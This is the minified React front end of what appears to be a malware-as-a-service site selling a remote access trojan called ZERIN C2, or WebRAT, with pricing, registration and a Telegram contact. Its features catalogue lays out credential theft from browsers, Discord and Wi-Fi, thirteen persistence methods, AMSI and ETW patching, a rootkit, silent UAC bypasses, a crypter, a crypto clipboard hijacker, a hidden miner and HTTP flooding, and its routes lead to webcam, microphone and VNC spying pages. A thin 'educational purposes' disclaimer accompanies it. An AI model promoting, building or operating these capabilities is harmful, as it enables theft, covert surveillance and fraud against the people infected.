17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1 1 21.75 8.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Extract and validate stored credentials across browsers and applications.",features:[{name:"Chromium Browsers",desc:"Chrome, Edge, Brave, Opera, Vivaldi — passwords, cookies, tokens",detail:"DPAPI master key decryption, AES-256-GCM v80+ support"},{name:"Firefox",desc:"Decrypt saved logins from logins.json and key4.db",detail:"NSS credential store decryption"},{name:"Wi-Fi Profiles",desc:"Extract saved wireless network passwords",detail:"All stored PSK passphrases via profile export"},{name:"Windows Credential Manager",desc:"DPAPI-protected vault entries and stored credentials",detail:"Full credential enumeration"},{name:"Discord Tokens",desc:"Scan LevelDB stores for Discord stable, Canary, and PTB",detail:"Token extraction from .ldb and .log files"},{name:"Application Credentials",desc:"Telegram, FileZilla, WinSCP, PuTTY, Outlook sessions",detail:"Session data, saved passwords, stored configs"}],terminal:{title:"zerin :: cred-audit",lines:["$ creds --all --format json"," [*] Scanning credential stores..."," [+] Chrome: 47 saved passwords"," [+] Edge: 12 saved passwords"," [+] Firefox: 8 saved logins"," [+] WiFi: 5 stored profiles"," [+] Discord: 2 tokens found"," [+] WinSCP: 3 saved sessions",' [] Export complete — 77 credentials']}},{id:"persistence",label:"Persistence Engine",tag:"PST",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M19.5 12c0-1.232-.046-2.453-.138-3.662a4.006 4.006 0 0 0-3.7-3.7 48.678 48.678 0 0 0-7.324 0 4.006 4.006 0 0 0-3.7 3.7c-.017.22-.032.441-.046.662M19.5 12l3-3m-3 3-3-3m-12 3c0 1.232.046 2.453.138 3.662a4.006 4.006 0 0 0 3.7 3.7 48.656 48.656 0 0 0 7.324 0 4.006 4.006 0 0 0 3.7-3.7c.017-.22.032-.441.046-.662M4.5 12l3 3m-3-3-3 3",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"13 persistence mechanisms covering user-level and elevated techniques.",features:[{name:"Registry Run Key",desc:"HKCU\\...\\Run — survives reboot, no elevation required"},{name:"Scheduled Task",desc:"Recurring schtask with configurable interval and name"},{name:"Windows Service",desc:"AUTO_START service via Service Control Manager (requires elevation)"},{name:"Startup Folder",desc:"Drop to current-user Startup directory — simple, reliable"},{name:"Logon Script",desc:"UserInitMprLogonScript environment variable hijack"},{name:"Screensaver Hijack",desc:"SCRNSAVE.EXE registry replacement — triggers on idle"},{name:"IFEO Debugger",desc:"Image File Execution Options debugger redirect (requires elevation)"},{name:"BITS Job",desc:"Background Intelligent Transfer Service notification command"},{name:"COM Object Hijack",desc:"CLSID InProcServer32 hijack — loaded by Explorer on login"},{name:"DLL Search Order",desc:"Plant DLL in application directory for search order hijack"},{name:"WMI Subscription",desc:"FilterToConsumerBinding with CommandLineEventConsumer"},{name:"Port Monitor",desc:"Print spooler monitor DLL — loaded by spoolsv.exe (requires elevation)"},{name:"Security Support Provider",desc:"LSA Security Packages registry — loaded by LSASS on boot"}]},{id:"evasion",label:"Evasion Engine",tag:"EVA",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M3.98 8.223A10.477 10.477 0 0 0 1.934 12c1.292 4.338 5.31 7.5 10.066 7.5.993 0 1.953-.138 2.863-.395M6.228 6.228A10.45 10.45 0 0 1 12 4.5c4.756 0 8.773 3.162 10.065 7.498a10.523 10.523 0 0 1-4.293 5.774M6.228 6.228 3 3m3.228 3.228 3.65 3.65m7.894 7.894L21 21m-3.228-3.228-3.65-3.65m0 0a3 3 0 1 0-4.243-4.243m4.242 4.242L9.88 9.88",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Multi-layered defense evasion — static, runtime, and in-memory techniques.",features:[{name:"Rootkit (11 Hooks)",desc:"Reflective DLL with inline hooks for process, file, registry, network, and service concealment",detail:"MinHook-based: NtQuerySystemInformation, NtQueryDirectoryFile, NtEnumerateKey, NtDeviceIoControlFile, and more"},{name:"AMSI Bypass",desc:"Patches AmsiOpenSession at runtime — all AMSI scans silently fail",detail:"XOR-constructed patch bytes avoid static signatures"},{name:"ETW Patching",desc:"Patches EtwEventWrite with xor eax,eax; ret — blinds EDR telemetry",detail:"Applied in own process + all injected processes"},{name:"Sleep Obfuscation",desc:"Ekko-style: XOR-encrypts .text section during beacon sleep intervals",detail:"Timer-queue based encryption/decryption cycle"},{name:"Indirect Syscalls",desc:"Extracts SSNs from ntdll, uses syscall;ret gadgets — bypasses userland hooks",detail:"NtAllocateVirtualMemory, NtWriteVirtualMemory, NtProtectVirtualMemory, NtCreateThreadEx, and more"},{name:"ntdll Unhooking",desc:"Restores ntdll .text from clean KnownDlls mapping — removes EDR hooks",detail:"NtOpenSection/NtMapViewOfSection — no file I/O"},{name:"Polymorphic Engine",desc:"Every build produces unique machine code — no two agents share the same hash",detail:"Junk code generation, function randomization, unique keys per build"},{name:"Encrypted Strings",desc:"All strings ChaCha20-encrypted per-build, decrypted on stack at runtime",detail:"Wiped after use — zero plaintext in memory at rest"},{name:"IAT Dilution",desc:"Benign Windows APIs forced into import table to mimic legitimate software",detail:"Clean import profile — no suspicious API imports visible"},{name:"Dynamic API Resolution",desc:"PEB walk + FNV1a hash lookup — sensitive APIs never appear in IAT",detail:"RESOLVE_API macro for all Nt* and injection APIs"},{name:"Kill Protection",desc:"Strips terminate/suspend rights from OpenProcess calls targeting agent PID",detail:"Blocks Task Manager, taskkill, Process Explorer"},{name:"Child Process Injection",desc:"NtResumeThread hook auto-injects rootkit into every new child process",detail:"Shared memory ring buffer IPC for near-instant propagation"}],terminal:{title:"zerin :: evasion-status",lines:["$ evasion --status",' AMSI Bypass ........... active',' ETW Patching .......... active',' Sleep Obfuscation ..... active',' Indirect Syscalls ..... active',' ntdll Unhooked ........ clean',' Rootkit Hooks ......... 11/11',' Kill Protection ....... active',' Injected Processes .... 34']}},{id:"network",label:"Network Operations",tag:"NET",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M7.5 21 3 16.5m0 0L7.5 12M3 16.5h13.5m0-13.5L21 7.5m0 0L16.5 12M21 7.5H7.5",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Pivot into internal networks and route traffic through compromised hosts.",features:[{name:"SOCKS5 Reverse Proxy",desc:"Full SOCKS5 proxy tunneled through the agent over WebSocket",detail:"256 concurrent channels, binary framing, auto-reconnect"},{name:"Internal Pivoting",desc:"Route operator tools through the agent to reach internal hosts",detail:"Access segmented networks, internal services, lateral movement"},{name:"Port Hiding",desc:"Rootkit filters agent connections from netstat and TCPView",detail:"NtDeviceIoControlFile hook on NSI device — IPv4 and IPv6"}]},{id:"recon",label:"Reconnaissance",tag:"RCN",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"m21 21-5.197-5.197m0 0A7.5 7.5 0 1 0 5.196 5.196a7.5 7.5 0 0 0 10.607 10.607Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Comprehensive target profiling and environment enumeration.",features:[{name:"System Info",desc:"OS version, build, architecture, hostname, domain, uptime"},{name:"Hardware Specs",desc:"CPU model, RAM capacity, GPU, disk information"},{name:"Network Interfaces",desc:"Adapters, IP addresses, MAC addresses, gateway info"},{name:"Active Connections",desc:"TCP/UDP connections, listening ports — like netstat"},{name:"Environment Variables",desc:"Full environment variable enumeration"},{name:"Registry Access",desc:"Read and write arbitrary registry keys and values"},{name:"Installed Applications",desc:"Software list from Add/Remove Programs"},{name:"Window Enumeration",desc:"Visible top-level windows with titles and owning PIDs"}]},{id:"privesc",label:"Privilege Escalation",tag:"ESC",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M4.5 10.5 12 3m0 0 7.5 7.5M12 3v18",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Silent UAC bypass techniques for automatic privilege elevation.",features:[{name:"Fodhelper UAC Bypass",desc:"Registry hijack via ms-settings shell command — auto-elevates without prompt",detail:"Works on Windows 10/11, cleans up registry keys after execution"},{name:"CMSTPLUA COM Elevation",desc:"CoGetObject elevation moniker to obtain ICMLuaUtil interface",detail:"ShellExec via COM — works Windows 7 through 11"},{name:"Forced UAC Fallback",desc:"ShellExecuteEx with runas verb if silent methods fail",detail:"Automatic fallback chain — tries silent first, prompts only as last resort"},{name:"Auto-Elevation on Launch",desc:"Automatic silent UAC bypass attempt on agent startup",detail:"Seamless — agent elevates itself without operator interaction"}],terminal:{title:"zerin :: priv-esc",lines:["$ elevate --auto"," [*] Current: Medium Integrity"," [*] Trying Fodhelper bypass..."," [+] Registry hijack set"," [+] fodhelper.exe launched"," [+] Elevated session spawned"," [*] Registry cleaned up",' [] Now running as High Integrity']}},{id:"c2",label:"C2 Infrastructure",tag:"C2I",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M16.5 10.5V6.75a4.5 4.5 0 1 0-9 0v3.75m-.75 11.25h10.5a2.25 2.25 0 0 0 2.25-2.25v-6.75a2.25 2.25 0 0 0-2.25-2.25H6.75a2.25 2.25 0 0 0-2.25 2.25v6.75a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Military-grade encrypted communications and payload delivery.",features:[{name:"ChaCha20-Poly1305",desc:"AEAD encryption for all C2 traffic — zero plaintext on the wire",detail:"Per-session keys, authenticated encryption"},{name:"X25519 Key Exchange",desc:"Elliptic curve Diffie-Hellman for forward-secret key negotiation",detail:"Ephemeral keys — compromise of one session doesn't affect others"},{name:"TLS 1.3 Transport",desc:"Industry-standard transport security wrapping the encrypted C2 channel",detail:"Double encryption — TLS outer layer + ChaCha20 inner layer"},{name:"Payload Builder",desc:"On-demand payload generation with configurable parameters",detail:"Callback URL, sleep interval, jitter, user-agent, output format (EXE/DLL)"},{name:"Stager / Stage 0",desc:"Lightweight loader — downloads, decrypts, and reflectively loads the full agent",detail:"XOR-encrypted payload, no disk artifacts, in-memory PE loading"},{name:"Crypter",desc:"Server-side runtime packing engine for additional evasion",detail:"Polymorphic + metamorphic generation, unique structure per build"}]},{id:"extras",label:"Extended Modules",tag:"EXT",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M3.75 6A2.25 2.25 0 0 1 6 3.75h2.25A2.25 2.25 0 0 1 10.5 6v2.25a2.25 2.25 0 0 1-2.25 2.25H6a2.25 2.25 0 0 1-2.25-2.25V6ZM3.75 15.75A2.25 2.25 0 0 1 6 13.5h2.25a2.25 2.25 0 0 1 2.25 2.25V18a2.25 2.25 0 0 1-2.25 2.25H6A2.25 2.25 0 0 1 3.75 18v-2.25ZM13.5 6a2.25 2.25 0 0 1 2.25-2.25H18A2.25 2.25 0 0 1 20.25 6v2.25A2.25 2.25 0 0 1 18 10.5h-2.25a2.25 2.25 0 0 1-2.25-2.25V6ZM13.5 15.75a2.25 2.25 0 0 1 2.25-2.25H18a2.25 2.25 0 0 1 2.25 2.25V18A2.25 2.25 0 0 1 18 20.25h-2.25a2.25 2.25 0 0 1-2.25-2.25v-2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Additional operator modules for disruption, crypto operations, and stress testing.",features:[{name:"Troll Module",desc:"MessageBox, text-to-speech, wallpaper change, taskbar hide, CD eject, mouse/keyboard lock, black screen, DNS reroute",detail:"12 disruption commands for operator interaction"},{name:"Crypto Clipper",desc:"Clipboard monitoring for 9 cryptocurrencies — BTC, ETH, LTC, XMR, DOGE, SOL, XRP, TRX, BNB",detail:"Format-aware pattern matching (Base58, Bech32, hex), operator wallet replacement"},{name:"Miner Management",desc:"XMRig lifecycle control — deploy, configure pool/wallet, start/stop, monitor hashrate",detail:"IDLE priority, configurable CPU throttle, HTTP API stats"},{name:"HTTP Flood",desc:"Layer 7 stress testing — up to 64 threads with randomized User-Agent rotation",detail:"Configurable duration, method (GET/POST/HEAD), auto-stop watchdog"},{name:"Power Control",desc:"Restart or shutdown the target system remotely"},{name:"Agent Uninstall",desc:"Clean removal — strips persistence entries and self-deletes"}]}];function $3(e=.15){const t=p.useRef(null),[n,r]=p.useState(!1);return p.useEffect(()=>{const i=t.current;if(!i)return;const a=new IntersectionObserver(([o])=>{o.isIntersecting&&(r(!0),a.disconnect())},{threshold:e});return a.observe(i),()=>a.disconnect()},[e]),{ref:t,visible:n}}const mV=p.memo(function(){const t=p.useRef(null);return p.useEffect(()=>{const n=t.current;if(!n)return;const r=n.getContext("2d",{alpha:!0});let i,a=0,o=0;const l=1e3/30,c=256,u=new Array(c);for(let b=0;b{cancelAnimationFrame(i),window.removeEventListener("resize",y)}},[]),s.jsx("canvas",{ref:t,className:"fixed inset-0 pointer-events-none",style:{zIndex:0}})});function C2({text:e,base:t}){const n=[];let r=0;const i=/([^<]*)<\/span>/g;let a=0,o;for(;(o=i.exec(e))!==null;)o.index>a&&n.push(s.jsx("span",{className:t,children:e.slice(a,o.index)},r++)),n.push(s.jsx("span",{className:o[1],children:o[2]},r++)),a=i.lastIndex;return as.jsx("div",{className:`transition-all duration-500 ${r?"opacity-100":"opacity-0"}`,style:{transitionDelay:r?`${a*80}ms`:"0ms"},children:i.startsWith("$")?s.jsxs(s.Fragment,{children:[s.jsx("span",{className:"text-zerin-accent",children:"$"}),s.jsx("span",{className:"ml-2",children:s.jsx(C2,{text:i.slice(1),base:"text-zerin-text-dim"})})]}):s.jsx("span",{className:"pl-4",children:s.jsx(C2,{text:i,base:"text-zerin-text-muted/60"})})},a))})]})}const xV=p.memo(function({feat:t,delay:n,visible:r}){const[i,a]=p.useState(!1);return s.jsx("div",{className:`group border border-[#1a1a22] bg-[#08080c]/60 hover:border-zerin-accent/20 transition-all duration-500 ${r?"opacity-100 translate-y-0":"opacity-0 translate-y-3"}`,style:{transitionDelay:r?`${n}ms`:"0ms"},children:s.jsxs("button",{onClick:()=>t.detail&&a(!i),className:"w-full text-left px-5 py-4 flex items-start gap-4",children:[s.jsx("div",{className:"flex-shrink-0 mt-0.5 w-1.5 h-1.5 rounded-full bg-zerin-accent/50 group-hover:bg-zerin-accent transition-colors"}),s.jsxs("div",{className:"flex-1 min-w-0",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("h4",{className:"font-display text-[14px] font-semibold text-zerin-text group-hover:text-zerin-accent transition-colors duration-300",children:t.name}),t.detail&&s.jsx("svg",{className:`w-3 h-3 text-zerin-text-muted/40 transition-transform duration-200 ${i?"rotate-180":""}`,viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"m19.5 8.25-7.5 7.5-7.5-7.5"})})]}),s.jsx("p",{className:"font-mono text-[12px] text-zerin-text-muted leading-relaxed mt-0.5",children:t.desc}),t.detail&&i&&s.jsx("p",{className:"font-mono text-[11px] text-zerin-accent/60 leading-relaxed mt-2 pl-0 border-l-2 border-zerin-accent/20 ml-0 pl-3",children:t.detail})]})]})})});function vV({cat:e,index:t}){const{ref:n,visible:r}=$3(.1);return s.jsxs("section",{ref:n,id:e.id,className:"scroll-mt-24",children:[s.jsxs("div",{className:`flex items-center gap-4 mb-6 transition-all duration-700 ${r?"opacity-100 translate-x-0":"opacity-0 -translate-x-4"}`,children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-zerin-accent/40",children:String(t+1).padStart(2,"0")}),s.jsx("div",{className:"w-8 h-8 border border-zerin-accent/20 bg-zerin-accent/5 flex items-center justify-center text-zerin-accent/70",children:e.icon})]}),s.jsxs("div",{children:[s.jsxs("div",{className:"flex items-center gap-2.5",children:[s.jsx("h2",{className:"font-display font-bold text-xl text-zerin-text tracking-tight",children:e.label}),s.jsx("span",{className:"font-mono text-[9px] tracking-[0.15em] border border-zerin-accent/20 text-zerin-accent/50 px-1.5 py-0.5 leading-none",children:e.tag})]}),s.jsx("p",{className:"font-mono text-[12px] text-zerin-text-muted mt-0.5",children:e.lead})]})]}),s.jsxs("div",{className:`grid gap-[1px] ${e.terminal?"lg:grid-cols-[1fr_380px]":""} gap-6`,children:[s.jsx("div",{className:"space-y-[1px]",children:e.features.map((i,a)=>s.jsx(xV,{feat:i,delay:a*50,visible:r},i.name))}),e.terminal&&s.jsx("div",{className:"hidden lg:block",children:s.jsx("div",{className:"sticky top-24",children:s.jsx(hV,{title:e.terminal.title,lines:e.terminal.lines})})})]})]})}function gV({activeId:e}){return s.jsx("nav",{className:"hidden xl:block fixed left-6 top-1/2 -translate-y-1/2 z-40",children:s.jsx("div",{className:"flex flex-col gap-1",children:Ai.map(t=>s.jsxs("a",{href:`#${t.id}`,className:`group flex items-center gap-2 py-1 transition-all duration-300 ${e===t.id?"opacity-100":"opacity-30 hover:opacity-60"}`,children:[s.jsx("div",{className:`h-[2px] transition-all duration-300 ${e===t.id?"w-6 bg-zerin-accent":"w-3 bg-zerin-text-muted/40 group-hover:w-4 group-hover:bg-zerin-text-muted/60"}`}),s.jsx("span",{className:"font-mono text-[9px] tracking-[0.15em] text-zerin-text-muted uppercase",children:t.tag})]},t.id))})})}function ql({value:e,label:t,suffix:n=""}){return s.jsxs("div",{className:"text-center",children:[s.jsxs("div",{className:"font-mono text-3xl md:text-4xl font-bold text-zerin-accent tabular-nums",children:[e,n]}),s.jsx("div",{className:"text-zerin-text-muted text-[10px] mt-1.5 uppercase tracking-[0.2em] font-mono",children:t})]})}function yV(){const[e,t]=p.useState(!1),[n,r]=p.useState(Ai[0].id);p.useEffect(()=>{const o=()=>t(window.scrollY>20);return window.addEventListener("scroll",o),()=>window.removeEventListener("scroll",o)},[]),p.useEffect(()=>{const o=new IntersectionObserver(c=>{for(const u of c)u.isIntersecting&&r(u.target.id)},{rootMargin:"-30% 0px -60% 0px"});return Ai.map(c=>document.getElementById(c.id)).filter(Boolean).forEach(c=>o.observe(c)),()=>o.disconnect()},[]);const i=p.useCallback(()=>{window.scrollTo({top:0,behavior:"smooth"})},[]),a=Ai.reduce((o,l)=>o+l.features.length,0);return s.jsxs("div",{className:"relative min-h-screen bg-[#04040a] text-zerin-text overflow-x-hidden overflow-y-auto",children:[s.jsx(mV,{}),s.jsx("div",{className:"fixed top-0 left-1/2 -translate-x-1/2 w-[1000px] h-[600px] pointer-events-none",style:{background:"radial-gradient(ellipse at center, rgba(6,182,212,0.03) 0%, transparent 70%)",zIndex:0}}),s.jsx("nav",{className:`fixed top-0 left-0 right-0 z-50 transition-all duration-300 ${e?"bg-[#04040a]/80 backdrop-blur-xl border-b border-[#1a1a22]":"bg-transparent"}`,children:s.jsxs("div",{className:"max-w-6xl mx-auto px-6 h-16 flex items-center justify-between",children:[s.jsx("div",{className:"flex items-center gap-3",children:s.jsxs(ot,{to:"/",className:"flex items-center gap-3 hover:opacity-80 transition-opacity",children:[s.jsx("span",{className:"font-display font-bold text-lg tracking-tight text-zerin-text",children:"ZERIN"}),s.jsx("span",{className:"text-[9px] font-mono tracking-[0.15em] border border-zerin-accent/25 text-zerin-accent/70 px-1.5 py-0.5 leading-none",children:"C2"})]})}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(ot,{to:"/features",className:"text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5",children:"Features"}),s.jsx("a",{href:"/#pricing",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5",children:"Pricing"}),s.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5 flex items-center gap-1.5",children:[s.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 24 24",fill:"currentColor",children:s.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Telegram"]}),s.jsx(ot,{to:"/login",className:"text-zerin-text-dim hover:text-zerin-text text-sm font-mono transition-colors px-3 py-1.5",children:"Login"}),s.jsx(ot,{to:"/register",className:"bg-zerin-accent/10 border border-zerin-accent/25 hover:border-zerin-accent/50 hover:bg-zerin-accent/15 text-zerin-accent text-sm font-mono px-4 py-1.5 transition-all duration-300",children:"Register"})]})]})}),s.jsx(gV,{activeId:n}),s.jsxs("section",{className:"relative z-10 pt-32 pb-16 px-6 text-center",children:[s.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-zerin-accent/60 uppercase",children:"Platform Capabilities"}),s.jsxs("h1",{className:"font-display font-bold text-4xl sm:text-5xl md:text-6xl tracking-tight mt-4 mb-5",children:["Full Spectrum"," ",s.jsx("span",{className:"bg-gradient-to-r from-zerin-accent via-cyan-300 to-zerin-accent bg-clip-text text-transparent",children:"Red Team Toolkit"})]}),s.jsxs("p",{className:"max-w-2xl mx-auto text-zerin-text-muted/80 text-[15px] leading-relaxed font-mono",children:[a," capabilities across ",Ai.length," modules — from initial access to persistence, evasion, and exfiltration. Everything an operator needs in a single platform."]}),s.jsxs("div",{className:"mt-14 max-w-3xl mx-auto grid grid-cols-2 sm:grid-cols-4 gap-8 border border-[#1a1a22] bg-[#08080c]/50 py-6 px-6",children:[s.jsx(ql,{value:String(a),label:"Capabilities"}),s.jsx(ql,{value:"13",label:"Persist Methods"}),s.jsx(ql,{value:"11",label:"Rootkit Hooks"}),s.jsx(ql,{value:"256",label:"Proxy Channels"})]}),s.jsx("div",{className:"mt-10 flex flex-wrap items-center justify-center gap-2",children:Ai.map(o=>s.jsx("a",{href:`#${o.id}`,className:"font-mono text-[10px] tracking-[0.15em] text-zerin-text-muted/60 border border-[#1a1a22] hover:border-zerin-accent/30 hover:text-zerin-accent/80 px-3 py-1.5 transition-all duration-300 uppercase",children:o.label},o.id))})]}),s.jsx("div",{className:"max-w-6xl mx-auto px-6",children:s.jsx("div",{className:"h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"})}),s.jsx("div",{className:"relative z-10 max-w-5xl mx-auto px-6 py-20 space-y-24",children:Ai.map((o,l)=>s.jsx(vV,{cat:o,index:l},o.id))}),s.jsxs("section",{className:"relative z-10 py-24 px-6 text-center border-t border-[#1a1a22]/50",children:[s.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl tracking-tight mb-4",children:["Ready to"," ",s.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"operate"}),"?"]}),s.jsxs("p",{className:"text-zerin-text-muted text-[15px] mb-8 max-w-md mx-auto",children:["Get lifetime access to the full platform — all ",a," capabilities included."]}),s.jsxs("div",{className:"flex items-center justify-center gap-4",children:[s.jsxs("a",{href:"/#pricing",className:"group relative overflow-hidden bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm px-8 py-3 transition-all duration-300 hover:shadow-[0_0_30px_rgba(6,182,212,0.3)]",children:[s.jsx("span",{className:"relative z-10",children:"View Pricing"}),s.jsx("div",{className:"absolute inset-0 bg-gradient-to-r from-transparent via-white/20 to-transparent -translate-x-full group-hover:translate-x-full transition-transform duration-700"})]}),s.jsx(ot,{to:"/register",className:"border border-[#1a1a22] hover:border-zerin-accent/30 text-zerin-text-dim hover:text-zerin-text font-mono text-sm px-8 py-3 transition-all duration-300",children:"Register"})]})]}),s.jsxs("footer",{className:"relative z-10 border-t border-[#1a1a22]/50 py-8 px-6",children:[s.jsxs("div",{className:"max-w-6xl mx-auto flex items-center justify-between",children:[s.jsxs("button",{onClick:i,className:"flex items-center gap-2 hover:opacity-80 transition-opacity",children:[s.jsx("span",{className:"font-display font-bold text-sm text-zerin-text-muted/60",children:"ZERIN"}),s.jsx("span",{className:"text-[8px] font-mono text-zerin-text-muted/30 tracking-widest",children:"WebRAT"})]}),s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"font-mono text-[11px] text-zerin-text-muted/40 hover:text-zerin-accent transition-colors flex items-center gap-1.5",children:[s.jsx("svg",{className:"w-3.5 h-3.5",viewBox:"0 0 24 24",fill:"currentColor",children:s.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Telegram"]}),s.jsx("span",{className:"font-mono text-[11px] text-zerin-text-muted/30",children:"© 2026"})]})]}),s.jsx("div",{className:"max-w-6xl mx-auto mt-4 pt-4 border-t border-[#1a1a22]/30",children:s.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted/25 leading-relaxed text-center",children:"This software is provided strictly for educational purposes and authorized penetration testing only. The developer does not promote, condone, or support the use of this tool for unauthorized access, malware distribution, or any illegal activity. By using this software you agree to comply with all applicable laws in your jurisdiction. Use at your own risk."})})]})]})}function Yl({children:e}){const{isAuthenticated:t}=is();return t?s.jsx(s.Fragment,{children:e}):s.jsx(Yi,{to:"/",replace:!0})}function bV({children:e}){const{isAuthenticated:t,isAdmin:n}=is();return t?n?s.jsx(s.Fragment,{children:e}):s.jsx(Yi,{to:"/",replace:!0}):s.jsx(Yi,{to:"/login",replace:!0})}function P2({children:e}){const{isAuthenticated:t}=is();return t?s.jsx(Yi,{to:"/dashboard",replace:!0}):s.jsx(s.Fragment,{children:e})}function wV(){const[e]=fx(),t=rr();return p.useEffect(()=>{let n=e.get("token");if(!n){const r=window.location.hash;r.startsWith("#token=")&&(n=decodeURIComponent(r.slice(7)))}n&&n.split(".").length===3&&(px(n),ui()),t("/dashboard",{replace:!0})},[e,t]),null}function jV(){const{isAuthenticated:e}=is();return e?s.jsx(Yi,{to:"/dashboard",replace:!0}):hx()?s.jsx(IA,{}):s.jsx(Yi,{to:"/login",replace:!0})}function kV(){return s.jsx(JE,{children:s.jsxs(oE,{children:[s.jsx(ft,{path:"/",element:s.jsx(jV,{})}),s.jsx(ft,{path:"/auth",element:s.jsx(wV,{})}),s.jsx(ft,{path:"/features",element:s.jsx(yV,{})}),s.jsx(ft,{path:"/payment/:id",element:s.jsx(pV,{})}),s.jsx(ft,{path:"/login",element:s.jsx(P2,{children:s.jsx(DA,{})})}),s.jsx(ft,{path:"/register",element:s.jsx(P2,{children:s.jsx(RA,{})})}),s.jsx(ft,{path:"/vnc/:id",element:s.jsx(Yl,{children:s.jsx(ZU,{})})}),s.jsx(ft,{path:"/webcam/:id",element:s.jsx(Yl,{children:s.jsx(rV,{})})}),s.jsx(ft,{path:"/mic/:id",element:s.jsx(Yl,{children:s.jsx(aV,{})})}),s.jsxs(ft,{element:s.jsx(Yl,{children:s.jsx(EA,{})}),children:[s.jsx(ft,{path:"/dashboard",element:s.jsx(yU,{})}),s.jsx(ft,{path:"/agents/:id",element:s.jsx(VU,{})}),s.jsx(ft,{path:"/events",element:s.jsx(KU,{})}),s.jsx(ft,{path:"/payloads",element:s.jsx(GU,{})}),s.jsx(ft,{path:"/crypter",element:s.jsx(uV,{})}),s.jsx(ft,{path:"/admin",element:s.jsx(bV,{children:s.jsx(cV,{})})})]}),s.jsx(ft,{path:"*",element:s.jsx(Yi,{to:"/",replace:!0})})]})})}bp.createRoot(document.getElementById("root")).render(s.jsx(vh.StrictMode,{children:s.jsx(xE,{children:s.jsx(kV,{})})}));